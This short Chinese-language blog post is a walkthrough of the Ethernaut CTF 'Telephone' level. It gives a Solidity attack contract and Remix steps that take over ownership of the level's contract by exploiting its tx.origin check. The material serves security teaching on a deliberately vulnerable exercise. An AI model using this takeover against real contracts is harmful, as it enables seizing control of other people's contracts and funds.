# Ethernaut CTF - Telephone (Level 4)教程

By [hujiawei](https://paragraph.com/@hujiawei) · 2022-04-15

---

1.

[remix.ethereum.org](http://remix.ethereum.org)

2.新建 Telephone.sol文件

3.编译

`pragma solidity ^0.5.0;`

`interface Telephone{    function changeOwner(address _owner) external;}` `contract Hack{    function attack(address _addr ,address _owner) public{        Telephone teleContract = Telephone(_addr);`         `teleContract.changeOwner( _owner);    }}`

4.

![](https://storage.googleapis.com/papyrus_images/1025a3154eb2a73f976e53c644314115c3377486d5460c6e990cb24cfd748673.png)

5.先点击Deploy，部署成功后在attack的地址栏处填写地址：”A，B”,其中A为合约持有者地址，可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

![](https://storage.googleapis.com/papyrus_images/39f8d1dce6359828221c35f298ea13a3430dcbcfb4b9492558ad3e8327b2a972.png)

---

*Originally published on [hujiawei](https://paragraph.com/@hujiawei/ethernaut-ctf-telephone-level-4)*
